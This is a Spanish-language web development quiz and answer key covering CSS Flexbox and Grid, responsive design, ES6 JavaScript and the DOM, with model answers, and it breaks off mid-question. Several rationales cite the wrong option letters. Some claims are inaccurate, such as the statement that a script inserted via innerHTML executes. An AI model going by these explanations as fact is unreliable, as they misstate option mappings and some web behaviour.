Respuesta modelo: Mi paleta minimalista y profesional: --color-primario: hsl(220, 70%, 35%) (azul marino oscuro: transmite seriedad y confianza, típico de bancos y consultorías). --color-fondo: hsl(0, 0%, 98%) (blanco roto, no puro: más cálido, menos agresivo que el #FFFFFF puro, mejor para lectura larga). --color-texto: hsl(220, 15%, 20%) (gris azulado muy oscuro, NO negro puro: el negro puro sobre blanco genera demasiado contraste y cansa la vista; el gris azulado es más suave y mantiene la coherencia con el azul primario). Contraste texto/fondo: ~13:1 (supera AA con holgura). La justificación de 'minimalista': solo 3 colores, sin gradientes ni decoraciones. La justificación de 'profesional': azul marino + grises = paleta clásica de sectores serios.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia fundamental entre Flexbox y CSS Grid?
- a) No hay diferencia, son lo mismo.
- b) Flexbox trabaja en una dimensión (fila O columna); Grid trabaja en dos (filas Y columnas al mismo tiempo). ✓ correcta
- c) Flexbox es para móvil, Grid para desktop.
- d) Grid reemplazó a Flexbox.
Por qué: Flexbox es unidimensional: organizas elementos en una fila O una columna. Grid es bidimensional: organizas en filas Y columnas simultáneamente, con control preciso de la posición de cada elemento.Detalle: Flexbox es unidimensional: organizas elementos en una fila O una columna. Grid es bidimensional: organizas en filas Y columnas simultáneamente, con control preciso de la posición de cada elemento. | a) No son lo mismo: tienen propósitos complementarios, no idénticos. | c) Grid NO reemplazó a Flexbox. Ambos conviven y se complementan. -
En Flexbox, ¿qué propiedad alinea los ítems en el EJE PRINCIPAL?
- a) align-items
- b) justify-content ✓ correcta
- c) flex-direction
- d) align-self
Por qué: justify-content alinea en el eje principal (el de flex-direction). Si direction es row, alinea horizontalmente; si es column, verticalmente. align-items, en cambio, alinea en el eje transversal.Detalle: justify-content alinea en el eje principal (el de flex-direction). Si direction es row, alinea horizontalmente; si es column, verticalmente. align-items, en cambio, alinea en el eje transversal. | a) align-items alinea en el EJE TRANSVERSAL, no el principal. | c) align-self sobrescribe align-items solo para UN ítem. -
¿Qué significa flex: 1 en un ítem?
- a) El ítem ocupa exactamente 1 píxel.
- b) El ítem crece hasta llenar el espacio disponible, en proporción igual a los otros ítems con flex: 1. ✓ correcta
- c) El ítem es el primero del contenedor.
- d) El ítem es invisible.
Por qué: flex: 1 es el atajo de flex-grow: 1; flex-shrink: 1; flex-basis: 0%. El ítem crece para llenar el espacio disponible, repartiéndolo en partes iguales con otros ítems que también tengan flex: 1.Detalle: flex: 1 es el atajo de flex-grow: 1; flex-shrink: 1; flex-basis: 0%. El ítem crece para llenar el espacio disponible, repartiéndolo en partes iguales con otros ítems que también tengan flex: 1. | a) Es 1 (uno) como factor de crecimiento, no 1 píxel. | c) El ítem es visible, solo se ajusta de tamaño. -
¿Qué hace la unidad fr en CSS Grid?
- a) Convierte píxeles a rem.
- b) Reparte el espacio disponible del contenedor en proporciones. ✓ correcta
- c) Es un color predefinido.
- d) Mide el ancho del viewport.
Por qué: La unidad fr (fracción) reparte el espacio disponible en proporciones. grid-template-columns: 1fr 2fr 1fr crea 3 columnas donde la del medio es el DOBLE de las otras. Es más fácil que calcular porcentajes.Detalle: La unidad fr (fracción) reparte el espacio disponible en proporciones. grid-template-columns: 1fr 2fr 1fr crea 3 columnas donde la del medio es el DOBLE de las otras. Es más fácil que calcular porcentajes. | a) No convierte unidades, es una unidad propia de Grid. | c) Para el viewport se usan vw/vh, no fr. -
En CSS Grid, ¿para qué sirve grid-template-areas?
- a) Para definir colores de fondo por área.
- b) Para asignar nombres semánticos a zonas del grid y mapear elementos a ellas. ✓ correcta
- c) Para crear áreas animadas.
- d) Para medir el tamaño del grid.
Por qué: grid-template-areas te permite nombrar zonas del grid (header, sidebar, main, footer) y luego mapear cada elemento a su zona con grid-area: nombre. Es la forma más legible de hacer layouts complejos.Detalle: grid-template-areas te permite nombrar zonas del grid (header, sidebar, main, footer) y luego mapear cada elemento a su zona con grid-area: nombre. Es la forma más legible de hacer layouts complejos. | a) Los colores se definen aparte, no en grid-template-areas. | c) El tamaño se define con grid-template-rows/columns, no con areas. -
¿Qué propiedad se usa para espaciar ítems SOLO entre ellos (no en los extremos)?
- a) margin en cada ítem.
- b) gap en el contenedor. ✓ correcta
- c) padding en el contenedor.
- d) space-between manual.
Por qué: gap (en el contenedor flex o grid) aplica espacio SOLO ENTRE los ítems, no en los extremos. Funciona en Flexbox, Grid y multi-columna. Es la forma moderna de evitar el problema del margin en el último ítem.Detalle: gap (en el contenedor flex o grid) aplica espacio SOLO ENTRE los ítems, no en los extremos. Funciona en Flexbox, Grid y multi-columna. Es la forma moderna de evitar el problema del margin en el último ítem. | a) margin en cada ítem deja espacio extra al final, requiring :last-child hacks. | c) space-between es un valor de justify-content, no resuelve el espaciado entre ítems. -
En Flexbox, si flex-direction es column, ¿qué eje es el principal?
- a) Horizontal (izquierda-derecha).
- b) Vertical (arriba-abajo). ✓ correcta
- c) Diagonal.
- d) No hay eje, es aleatorio.
Por qué: Cuando flex-direction es column, el eje principal es VERTICAL. Por lo tanto, justify-content alinea verticalmente y align-items horizontalmente. Es la confusión #1: los ejes se rotan según la dirección.Detalle: Cuando flex-direction es column, el eje principal es VERTICAL. Por lo tanto, justify-content alinea verticalmente y align-items horizontalmente. Es la confusión #1: los ejes se rotan según la dirección. | a) Con row el principal es horizontal, pero con column NO. | c) Los ejes son definidos y predecibles, no aleatorios. -
Para una barra de navegación con logo a la izquierda y menú a la derecha, ¿qué técnica de Flexbox usarías?
- a) position: absolute en cada uno.
- b) display: flex + justify-content: space-between. ✓ correcta
- c) float: left en el logo y float: right en el menú.
- d) table-layout.
Por qué: display: flex en el contenedor y justify-content: space-between empuja el primer hijo (logo) a la izquierda y el último (menú) a la derecha. Es el patrón clásico de barra de navegación.Detalle: display: flex en el contenedor y justify-content: space-between empuja el primer hijo (logo) a la izquierda y el último (menú) a la derecha. Es el patrón clásico de barra de navegación. | a) position: absolute es código legacy; saca los elementos del flujo. | c) table-layout es para datos tabulares, no para barras de navegación. -
Para un layout de página con header, sidebar, main y footer, ¿qué herramienta es más apropiada?
- a) Solo Flexbox, ya que es más moderno.
- b) Solo Grid, ya que fue creado para esto.
- c) Grid para la macroestructura (header/sidebar/main/footer) y Flexbox para los componentes internos. ✓ correcta
- d) Float, como se hacía tradicionalmente.
Por qué: La mejor práctica profesional es combinar: Grid para la macroestructura (porque son 2 dimensiones: filas + columnas) y Flexbox dentro de cada zona para los componentes (porque suelen ser 1 dimensión).Detalle: La mejor práctica profesional es combinar: Grid para la macroestructura (porque son 2 dimensiones: filas + columnas) y Flexbox dentro de cada zona para los componentes (porque suelen ser 1 dimensión). | a) Flexbox puede hacerlo pero con mucho más código y menos claridad. | b) Grid puede hacerlo, pero para los componentes internos (navbar, tarjetas) Flexbox es más simple. -
¿Qué hace display: inline-flex?
- a) Igual que display: flex pero el contenedor se comporta como elemento inline (no ocupa todo el ancho). ✓ correcta
- b) Es para listas ordenadas.
- c) Es lo mismo que display: block.
- d) Está deprecado desde 2017.
Por qué: display: inline-flex activa flexbox pero el contenedor se comporta como un elemento inline: solo ocupa el ancho de su contenido, no el 100% del padre. Útil para botones, badges, o componentes inline que necesitan alineación flex.Detalle: display: inline-flex activa flexbox pero el contenedor se comporta como un elemento inline: solo ocupa el ancho de su contenido, no el 100% del padre. Útil para botones, badges, o componentes inline que necesitan alineación flex. | b) No es lo mismo que display: block (que ocupa todo el ancho). | c) inline-flex sigue siendo estándar y soportado.
Preguntas abiertas (3)
-
Explica la diferencia entre justify-content y align-items en Flexbox. Da un ejemplo donde se confundan. (3 a 5 líneas).
Respuesta modelo: justify-content alinea en el EJE PRINCIPAL (el de flex-direction). align-items alinea en el EJE TRANSVERSAL (el perpendicular). Si direction es row, justify-content alinea horizontal y align-items vertical. Si cambias a column, los ejes se rotan: justify-content alinea vertical y align-items horizontal. Ejemplo de confusión: pongo flex-direction: column esperando que justify-content centre vertical, pero como ahora 'principal' es vertical, SÍ centra vertical. La confusión es al revés: con row, justify-content centra horizontal; con column, centra vertical. Dibuja los ejes primero.
-
Explica la regla 'Grid para 2D, Flexbox para 1D' y da un contraejemplo válido donde se invierta. (3 a 5 líneas).
Respuesta modelo: La regla práctica es: si tu layout necesita controlar filas Y columnas al mismo tiempo, usa Grid. Si solo necesitas una fila O una columna, usa Flexbox. Contraejemplo: a veces uso Grid para UNA fila con control preciso de columnas (galería horizontal de 5 tarjetas donde cada una ocupa 200px exactos). Y uso Flexbox con flex-wrap: wrap para que varias filas se generen automáticamente, sin definir la cantidad exacta. La regla es orientativa, no absoluta. Si dudas, empieza con Grid: puede hacer todo lo que hace Flexbox, aunque a veces con más código.
-
Describe paso a paso cómo harías una galería de 6 productos que se vea en 3 columnas en desktop y 2 columnas en tablet y 1 columna en móvil. ¿Qué técnica usarías y por qué? (4 a 6 líneas).
Respuesta modelo: Usaría CSS Grid con grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); Esta técnica hace que el grid CREE TANTAS COLUMNAS como quepan en el ancho disponible, cada una de mínimo 280px. En desktop caben 3 (1080px ÷ 280px ≈ 3), en tablet 2, en móvil 1. Sin media queries. Si necesitara 3 fijas en desktop y 2 en tablet, agregaría media queries: @media (max-width: 768px) { grid-template-columns: repeat(2, 1fr); } y @media (max-width: 480px) { grid-template-columns: 1fr; }. La técnica auto-fit es moderna y elimina la necesidad de media queries en muchos casos.
Preguntas de opción múltiple (10)
-
¿Qué significa diseñar con mentalidad 'mobile-first'?
- a) Diseñar SOLO para móvil, ignorando el desktop.
- b) Empezar el CSS con los estilos para móvil y SUMAR estilos para pantallas más grandes con @media (min-width). ✓ correcta
- c) Usar solo porcentajes, nunca píxeles.
- d) Hacer una app nativa en vez de una web.
Por qué: Mobile-first es una filosofía: empiezas con los estilos base (móvil) y usas @media (min-width) para SUMAR estilos a medida que la pantalla crece. Es lo opuesto a desktop-first, donde empiezas con todo y RESTAS para móvil.Detalle: Mobile-first es una filosofía: empiezas con los estilos base (móvil) y usas @media (min-width) para SUMAR estilos a medida que la pantalla crece. Es lo opuesto a desktop-first, donde empiezas con todo y RESTAS para móvil. | a) Mobile-first NO ignora el desktop: diseña para móvil PRIMERO, luego expande a pantallas más grandes. | c) Mobile-first es una estrategia de CSS responsive, no de apps nativas. -
En mobile-first, ¿qué tipo de media query usas?
- a) @media (max-width: 768px)
- b) @media (min-width: 768px) ✓ correcta
- c) @media (width: 768px)
- d) No se usan media queries en mobile-first.
Por qué: En mobile-first, los estilos base aplican a móvil (el caso por defecto). Las media queries con min-width SUMAN estilos a medida que el viewport crece: 'a partir de 768px, haz esto otro'.Detalle: En mobile-first, los estilos base aplican a móvil (el caso por defecto). Las media queries con min-width SUMAN estilos a medida que el viewport crece: 'a partir de 768px, haz esto otro'. | a) max-width es desktop-first: 'hasta 768px, haz esto'. | c) Mobile-first SÍ usa media queries, solo que con min-width en vez de max-width. -
¿Cuál es la regla CSS que NUNCA debe faltar para que las imágenes no se desborden?
- a) width: 100%
- b) max-width: 100%; height: auto; ✓ correcta
- c) object-fit: cover;
- d) display: block;
Por qué: max-width: 100% hace que la imagen nunca sea más ancha que su contenedor. height: auto mantiene la proporción. Sin esta regla, una imagen grande rompe el layout en móvil.Detalle: max-width: 100% hace que la imagen nunca sea más ancha que su contenedor. height: auto mantiene la proporción. Sin esta regla, una imagen grande rompe el layout en móvil. | a) width: 100% fuerza a la imagen a ocupar TODO el ancho, lo que puede deformarla si no se combina con height: auto. | c) display: block quita el espacio inferior fantasma de las imágenes, pero no controla el tamaño. -
¿Qué hace la función clamp(1rem, 4vw, 3rem) en font-size?
- a) Fija el tamaño a 1rem siempre.
- b) Establece un tamaño fluido: mínimo 1rem, ideal 4% del viewport, máximo 3rem. ✓ correcta
- c) Solo aplica a 3 elementos a la vez.
- d) Es un color, no un tamaño.
Por qué: clamp(MÍNIMO, IDEAL, MÁXIMO) crea un valor fluido: usa el IDEAL (4vw) pero nunca baja del MÍNIMO (1rem) ni sube del MÁXIMO (3rem). Escala suave entre breakpoints sin media queries.Detalle: clamp(MÍNIMO, IDEAL, MÁXIMO) crea un valor fluido: usa el IDEAL (4vw) pero nunca baja del MÍNIMO (1rem) ni sube del MÁXIMO (3rem). Escala suave entre breakpoints sin media queries. | a) El MÍNIMO es solo el piso; el valor real varía entre 1rem y 3rem según el viewport. | c) Es una función de tamaño, no de color. -
¿Para qué sirve el atributo srcset en una imagen?
- a) Para agregar texto alternativo a la imagen.
- b) Para que el navegador elija la mejor versión de la imagen según el viewport y la densidad de pantalla. ✓ correcta
- c) Para hacer que la imagen se vea en 3D.
- d) Para cargar la imagen más rápido con JavaScript.
Por qué: srcset ofrece varias versiones de la misma imagen con sus anchos (img-400.jpg 400w, img-800.jpg 800w, etc.). El navegador elige la mejor según el viewport, la densidad de pantalla y la conexión del usuario. Reduce hasta 10x el peso descargado en móvil.Detalle: srcset ofrece varias versiones de la misma imagen con sus anchos (img-400.jpg 400w, img-800.jpg 800w, etc.). El navegador elige la mejor según el viewport, la densidad de pantalla y la conexión del usuario. Reduce hasta 10x el peso descargado en móvil. | a) El texto alternativo es el atributo alt, no srcset. | c) srcset es HTML puro, no usa JavaScript. -
¿Qué son las 'container queries' y en qué se diferencian de las media queries?
- a) Son lo mismo que media queries pero más rápidas.
- b) Permiten aplicar estilos según el tamaño del CONTENEDOR del elemento, no del viewport global. ✓ correcta
- c) Son para hacer queries a una base de datos desde CSS.
- d) Reemplazan a las variables CSS.
Por qué: Container queries (@container) aplican estilos según el tamaño del CONTENEDOR padre del elemento, no del viewport. Permiten que un componente se adapte a su contexto (columna estrecha vs galería amplia) sin saber el viewport global.Detalle: Container queries (@container) aplican estilos según el tamaño del CONTENEDOR padre del elemento, no del viewport. Permiten que un componente se adapte a su contexto (columna estrecha vs galería amplia) sin saber el viewport global. | a) No son lo mismo: media queries miran el viewport, container queries miran el contenedor. | c) No reemplazan a las variables CSS; son una característica diferente. -
Para una galería de tarjetas que se adapte automáticamente (1 col en móvil, 2 en tablet, 3 en desktop) sin media queries, ¿qué técnica usarías?
- a) display: flex con flex-wrap: wrap.
- b) display: grid con grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)). ✓ correcta
- c) 3 media queries separados.
- d) JavaScript que cuente columnas.
Por qué: repeat(auto-fit, minmax(280px, 1fr)) crea TANTAS columnas como quepan en el ancho disponible, cada una de mínimo 280px. Sin media queries. La técnica más elegante de CSS moderno para grillas.Detalle: repeat(auto-fit, minmax(280px, 1fr)) crea TANTAS columnas como quepan en el ancho disponible, cada una de mínimo 280px. Sin media queries. La técnica más elegante de CSS moderno para grillas. | a) flex-wrap funciona pero necesitas flex-basis fijo y media queries para controlar la cantidad exacta de columnas. | c) JavaScript es innecesario; CSS moderno puede hacerlo solo. -
¿Cuáles son los 4 breakpoints estándar de la industria?
- a) 100, 200, 300, 400.
- b) 480, 768, 1024, 1280. ✓ correcta
- c) 600, 800, 1000, 1200.
- d) Cada sitio usa los que quiere, no hay estándar.
Por qué: Los breakpoints más adoptados por la industria (Bootstrap, Tailwind, Material Design) son: 480 (móvil grande), 768 (tablet), 1024 (laptop), 1280 (desktop). Usarlos asegura consistencia con el resto del ecosistema web.Detalle: Los breakpoints más adoptados por la industria (Bootstrap, Tailwind, Material Design) son: 480 (móvil grande), 768 (tablet), 1024 (laptop), 1280 (desktop). Usarlos asegura consistencia con el resto del ecosistema web. | a) Esos no son breakpoints reales de frameworks. | c) Sí hay estándar: 480/768/1024/1280 son los adoptados por la mayoría de frameworks. -
¿Por qué es tan importante el meta tag viewport?
- a) Es opcional, no afecta nada importante.
- b) Sin él, los móviles renderizan la página como si fuera un monitor de 980px y la muestran minúscula. ✓ correcta
- c) Solo es para SEO.
- d) Es para hacer zoom.
Por qué: Sin <meta name='viewport' content='width=device-width, initial-scale=1.0'>, los móviles simulan un viewport de 980px y ACHICAN toda la página para que quepa, mostrando todo minúsculo. Es uno de los 4 cimientos del Tema 1.3.Detalle: Sin <meta name='viewport' content='width=device-width, initial-scale=1.0'>, los móviles simulan un viewport de 980px y ACHICAN toda la página para que quepa, mostrando todo minúsculo. Es uno de los 4 cimientos del Tema 1.3. | a) Es obligatorio para que el responsive funcione. NUNCA debe faltar. | c) No controla el zoom del usuario; controla cómo el navegador escala la página. -
Si tu layout es 3 columnas en desktop y quieres que sea 1 columna en móvil, ¿qué media query escribes (mobile-first)?
- a) @media (max-width: 768px) { grid-template-columns: 1fr; }
- b) @media (min-width: 768px) { grid-template-columns: repeat(3, 1fr); } ✓ correcta
- c) Ambas son correctas según la filosofía.
- d) No se puede hacer con CSS.
Por qué: En mobile-first, los estilos base son para móvil (1 columna). Con min-width: 768px SUMAS las 3 columnas para tablet+ en adelante. La otra opción (max-width) es desktop-first, no mobile-first.Detalle: En mobile-first, los estilos base son para móvil (1 columna). Con min-width: 768px SUMAS las 3 columnas para tablet+ en adelante. La otra opción (max-width) es desktop-first, no mobile-first. | a) max-width es desktop-first, no mobile-first. | c) Sí se puede con CSS, es el ejemplo clásico de responsive.
Preguntas abiertas (3)
-
Explica la diferencia entre mobile-first y desktop-first. ¿Cuál recomendarías en 2025 y por qué? (3 a 5 líneas).
Respuesta modelo: Mobile-first: empiezas con estilos para móvil y SUMAS con @media (min-width) a medida que la pantalla crece. Desktop-first: empiezas con estilos para desktop y RESTAS con @media (max-width) para móvil. Recomiendo mobile-first en 2025 porque: (1) más del 60% del tráfico web es móvil, (2) el CSS mobile-first es más liviano para el usuario móvil (no carga estilos que después se sobreescriben), (3) te obliga a priorizar: ¿qué es realmente importante? Si cabe en móvil primero, cabe en todos lados.
-
Explica la fórmula clamp(1rem, 4vw, 3rem) para font-size. ¿Qué pasaría si la reemplazas por font-size: 2rem fijo? (3 a 5 líneas).
Respuesta modelo: clamp(MÍNIMO, IDEAL, MÁXIMO) = clamp(1rem, 4vw, 3rem). El font-size será 4% del ancho del viewport, pero nunca menor a 1rem (16px) ni mayor a 3rem (48px). En móvil (375px): 4vw = 15px, se aplica el mínimo 16px. En desktop (1440px): 4vw = 57.6px, se aplica el máximo 48px. Entre medio, escala suavemente. Si usara font-size: 2rem fijo (32px): en móvil se ve igual de grande que en desktop, puede ser demasiado grande en uno y demasiado pequeño en otro. Pierdo la fluidez.
-
Imagina que tu sitio web es VISTO 60% en móvil, 25% en tablet y 15% en desktop. ¿Cómo afecta esto a tus decisiones de diseño responsive? Da 3 decisiones concretas. (4 a 6 líneas).
Respuesta modelo: Decisión 1: Tipografía base de 1rem (16px) MÍNIMO, nunca más pequeña, porque en móvil se ve aún más chica. Decisión 2: Botones de al menos 44x44 píxeles (recomendación de Apple y Google para dedos). En desktop pueden ser más pequeños, pero el código base es mobile-first. Decisión 3: Mostrar primero el contenido ESENCIAL. Si el usuario móvil no ve lo importante en el primer scroll, se va. El contenido secundario (sidebar, ads) debe ir DESPUÉS del principal, no antes. Además, optimizo imágenes agresivamente (srcset con 3 versiones) porque el 60% móvil no debe pagar por imágenes pensadas para desktop.
Preguntas de opción múltiple (10)
-
¿Qué versión de JavaScript introdujo las arrow functions, let, const y los módulos?
- a) ECMAScript 5 (2009).
- b) ECMAScript 2015 (ES6). ✓ correcta
- c) JavaScript 1.0 (1995).
- d) TypeScript 2.0.
Por qué: ES6 / ES2015 fue la mayor actualización de JavaScript: arrow functions, let, const, clases, módulos, template literals, promesas. Es lo que hoy llamamos 'JavaScript moderno'.Detalle: ES6 / ES2015 fue la mayor actualización de JavaScript: arrow functions, let, const, clases, módulos, template literals, promesas. Es lo que hoy llamamos 'JavaScript moderno'. | a) ES5 (2009) introdujo strict mode y JSON nativo, pero NO arrow functions ni let/const. | c) TypeScript es un superset de JavaScript creado por Microsoft; no es la base de ES6. -
Según las buenas prácticas modernas, ¿cuál es la palabra clave que deberías usar POR DEFECTO al declarar variables?
- a) var
- b) let
- c) const ✓ correcta
- d) function
Por qué: const es la opción por defecto. Si necesitas reasignar el valor, entonces usas let. var nunca. La disciplina const-primero previene el 80% de los bugs de variables.Detalle: const es la opción por defecto. Si necesitas reasignar el valor, entonces usas let. var nunca. La disciplina const-primero previene el 80% de los bugs de variables. | a) var es código de museo; nunca se usa en código moderno. | b) let es para cuando NECESITAS reasignar, no por defecto. -
¿Cuál es la diferencia entre const y let?
- a) No hay diferencia.
- b) const no permite reasignar la variable; let sí. ✓ correcta
- c) const hace el objeto inmutable, let no.
- d) let es para números, const para strings.
Por qué: const impide REASIGNAR la variable, pero NO impide MUTAR el objeto. let permite reasignar. const con un objeto: puedes cambiar sus propiedades, pero no puedes hacer variable = otroObjeto.Detalle: const impide REASIGNAR la variable, pero NO impide MUTAR el objeto. let permite reasignar. const con un objeto: puedes cambiar sus propiedades, pero no puedes hacer variable = otroObjeto. | a) Sí hay diferencia: const no permite reasignación. | c) let y const funcionan con cualquier tipo de dato. -
¿Qué hace el método map() en un array?
- a) Filtra elementos que cumplan una condición.
- b) Transforma cada elemento y devuelve un array nuevo del mismo tamaño. ✓ correcta
- c) Acumula todos los elementos en un solo valor.
- d) Ordena los elementos alfabéticamente.
Por qué: map() aplica una función a cada elemento y devuelve un array NUEVO del mismo tamaño. No muta el original. Ejemplo: precios.map(p => p * 1.16) devuelve un array con cada precio con IVA.Detalle: map() aplica una función a cada elemento y devuelve un array NUEVO del mismo tamaño. No muta el original. Ejemplo: precios.map(p => p * 1.16) devuelve un array con cada precio con IVA. | a) Eso es filter(), no map(). | c) map() no ordena; para ordenar se usa sort(). -
¿Qué hace la siguiente expresión: const { nombre, edad } = usuario;?
- a) Crea un objeto nuevo con esas propiedades.
- b) Desestructura: extrae 'nombre' y 'edad' del objeto 'usuario' en variables del mismo nombre. ✓ correcta
- c) Convierte el objeto en JSON.
- d) Borra esas propiedades del objeto.
Por qué: Es desestructuración de objeto: extrae las propiedades 'nombre' y 'edad' del objeto 'usuario' en variables llamadas 'nombre' y 'edad'. Mucho más corto que const nombre = usuario.nombre; const edad = usuario.edad;Detalle: Es desestructuración de objeto: extrae las propiedades 'nombre' y 'edad' del objeto 'usuario' en variables llamadas 'nombre' y 'edad'. Mucho más corto que const nombre = usuario.nombre; const edad = usuario.edad; | a) No crea un objeto, extrae valores a variables. | c) No borra nada, solo lee. -
¿Cuándo NO deberías usar una arrow function?
- a) Nunca, son siempre mejores.
- b) En métodos de objeto que necesitan 'this', en constructores, y cuando necesitas 'arguments'. ✓ correcta
- c) Solo en funciones de una sola línea.
- d) Cuando el nombre es muy largo.
Por qué: Las arrow functions NO tienen su propio this, no pueden ser constructores (con 'new'), y no tienen 'arguments'. Para métodos de objeto que usan this, usa function() {} normal.Detalle: Las arrow functions NO tienen su propio this, no pueden ser constructores (con 'new'), y no tienen 'arguments'. Para métodos de objeto que usan this, usa function() {} normal. | a) Hay casos donde no conviene; no son universalmente mejores. | c) El nombre no afecta la elección. -
¿Para qué sirve el spread operator (...)?
- a) Para concatenar dos números.
- b) Para expandir un array u objeto en otro contexto (copia, fusión, parámetros). ✓ correcta
- c) Para definir una variable privada.
- d) Para hacer una petición HTTP.
Por qué: El spread operator (...) expande un array u objeto. Ejemplos: [...arr1, ...arr2] concatena, {...obj1, ...obj2} fusiona, Math.max(...numeros) pasa cada elemento como argumento.Detalle: El spread operator (...) expande un array u objeto. Ejemplos: [...arr1, ...arr2] concatena, {...obj1, ...obj2} fusiona, Math.max(...numeros) pasa cada elemento como argumento. | a) No concatena números; expande colecciones. | c) No tiene relación con HTTP. -
¿Qué sintaxis usas para hacer un 'import' con un módulo ES6?
- a) require('./archivo')
- b) include('./archivo')
- c) import { funcion } from './archivo.js' ✓ correcta
- d) use('./archivo')
Por qué: La sintaxis moderna es import { funcion } from './archivo.js' (con la extensión). require() es de CommonJS (Node.js viejo), no de módulos ES6. Para que funcione en el navegador, agrega type='module' al <script>.Detalle: La sintaxis moderna es import { funcion } from './archivo.js' (con la extensión). require() es de CommonJS (Node.js viejo), no de módulos ES6. Para que funcione en el navegador, agrega type='module' al <script>. | a) require es de CommonJS, no de módulos ES6. | b) include no existe en JavaScript. -
¿Qué imprime este código? const arr = [1, 2, 3]; const nuevo = arr.map(x => x * 2); console.log(nuevo);
- a) [1, 2, 3]
- b) [2, 4, 6] ✓ correcta
- c) 6
- d) Error.
Por qué: map() aplica x => x * 2 a cada elemento: 1*2=2, 2*2=4, 3*2=6. Devuelve el array nuevo [2, 4, 6]. El array original [1, 2, 3] NO se modifica.Detalle: map() aplica x => x * 2 a cada elemento: 1*2=2, 2*2=4, 3*2=6. Devuelve el array nuevo [2, 4, 6]. El array original [1, 2, 3] NO se modifica. | a) Devolvería [1, 2, 3] si no se aplicara la función (map sin función devuelve undefined por elemento, lo cual daría error). | c) No hay error; la sintaxis es correcta. -
¿Qué son los 'template literals' y qué carácter delimita?
- a) Strings normales con comillas dobles.
- b) Strings delimitados por backticks (`) que permiten interpolación con ${} y multi-línea. ✓ correcta
- c) Una forma de declarar variables.
- d) Una forma de importar módulos.
Por qué: Los template literals se delimitan con backticks (`) en vez de comillas. Permiten ${expresion} para interpolar valores y multi-línea sin concatenar. Son una de las mejoras más útiles de ES6.Detalle: Los template literals se delimitan con backticks (`) en vez de comillas. Permiten ${expresion} para interpolar valores y multi-línea sin concatenar. Son una de las mejoras más útiles de ES6. | a) Las comillas dobles son strings normales, no template literals. | c) No son para importar módulos.
Preguntas abiertas (3)
-
Explica la diferencia entre let y const. Da un ejemplo donde const sea mejor y otro donde let sea necesario. (3 a 5 líneas).
Respuesta modelo: const no permite reasignar la variable; let sí. const es la opción por defecto; let solo cuando necesitas reasignar. const es mejor para: una API_URL (nunca cambia), un objeto de configuración, un array de opciones. let es necesario para: un contador en un bucle, un acumulador que se actualiza, una variable que cambia de estado. Importante: const no hace al objeto inmutable. const usuario = {nombre: 'Ana'}; permite usuario.nombre = 'Luis', pero no permite usuario = {nombre: 'Otro'}. Esa distinción es clave.
-
Explica la diferencia entre map(), filter() y reduce(). Da un ejemplo concreto de cada uno. (4 a 6 líneas).
Respuesta modelo: map() transforma cada elemento y devuelve un array del mismo tamaño: precios.map(p => p * 1.16) agrega IVA a cada precio. filter() devuelve solo los elementos que cumplen una condición: usuarios.filter(u => u.activo) deja solo los activos. reduce() acumula todos los elementos en UN valor: numeros.reduce((sum, n) => sum + n, 0) suma todos. Los 3 reemplazan al 90% de los bucles for. Combinados: usuarios.filter(u => u.activo).map(u => u.nombre) da los nombres de los usuarios activos, una sola línea en vez de un bucle de 8 líneas.
-
Imagina que tienes una lista de 1000 productos y quieres: (1) quedarte solo con los disponibles, (2) subir su precio un 10%, (3) calcular el total. Escribe el código con map/filter/reduce y explica cada paso. (4 a 6 líneas).
Respuesta modelo: const productos = [{nombre: 'A', precio: 100, disponible: true}, ...];
const total = productos
.filter(p => p.disponible) // (1) solo disponibles
.map(p => ({ ...p, precio: p.precio * 1.10 })) // (2) subir 10% sin mutar
.reduce((sum, p) => sum + p.precio, 0); // (3) sumar todos
filter deja solo los disponibles (devuelve array). map aplica un aumento del 10% creando objetos nuevos (uso spread ...p para mantener las demás propiedades). reduce suma el precio de cada producto en un acumulador. Total: 1 sola línea declarativa, sin mutar el array original, sin bucles for. Si quisieras el array de productos con precios nuevos, podrías guardarlo en una variable entre filter y reduce.
Preguntas de opción múltiple (10)
-
¿Qué es el DOM?
- a) Un lenguaje de programación nuevo.
- b) Una representación en forma de árbol de tu HTML que JavaScript puede manipular. ✓ correcta
- c) Un framework de JavaScript.
- d) El servidor donde se ejecuta tu página.
Por qué: El DOM (Document Object Model) es una representación en forma de árbol de objetos que el navegador crea a partir de tu HTML. Cada etiqueta se vuelve un nodo con propiedades y métodos que JavaScript puede modificar.Detalle: El DOM (Document Object Model) es una representación en forma de árbol de objetos que el navegador crea a partir de tu HTML. Cada etiqueta se vuelve un nodo con propiedades y métodos que JavaScript puede modificar. | a) El DOM no es un lenguaje; es un modelo de objetos. | c) El DOM vive en el navegador del usuario, no en el servidor. -
¿Cuál es la forma MODERNA de seleccionar un elemento por id?
- a) document.getElementById('mi-id')
- b) document.querySelector('#mi-id') ✓ correcta
- c) document.querySelectorAll('#mi-id')
- d) $('#mi-id')
Por qué: querySelector acepta cualquier selector CSS, incluyendo el # para id. Es la forma moderna y flexible. getElementById funciona pero es menos consistente con el resto de selectores CSS.Detalle: querySelector acepta cualquier selector CSS, incluyendo el # para id. Es la forma moderna y flexible. getElementById funciona pero es menos consistente con el resto de selectores CSS. | a) Funciona pero es la forma antigua; querySelector es más flexible. | c) $() es de jQuery, una librería antigua que ya no se necesita. -
¿Cuál es la diferencia entre textContent e innerHTML?
- a) No hay diferencia.
- b) textContent inserta texto plano (seguro); innerHTML interpreta HTML (riesgo XSS). ✓ correcta
- c) textContent es más lento.
- d) innerHTML es para CSS, textContent para HTML.
Por qué: textContent inserta el texto TAL CUAL, sin interpretar HTML. Es seguro contra XSS. innerHTML interpreta el string como HTML, así que '<script>' se ejecutaría. Para datos del usuario, usa SIEMPRE textContent.Detalle: textContent inserta el texto TAL CUAL, sin interpretar HTML. Es seguro contra XSS. innerHTML interpreta el string como HTML, así que '<script>' se ejecutaría. Para datos del usuario, usa SIEMPRE textContent. | a) Sí hay diferencia crucial: una es segura, la otra no. | c) Ambos son para insertar contenido en el DOM, no CSS. -
¿Qué hace event.preventDefault() en un formulario?
- a) Muestra un mensaje de error.
- b) Evita que el formulario se envíe y la página se recargue. ✓ correcta
- c) Cancela todos los eventos del formulario.
- d) Previene el submit solo si los datos son inválidos.
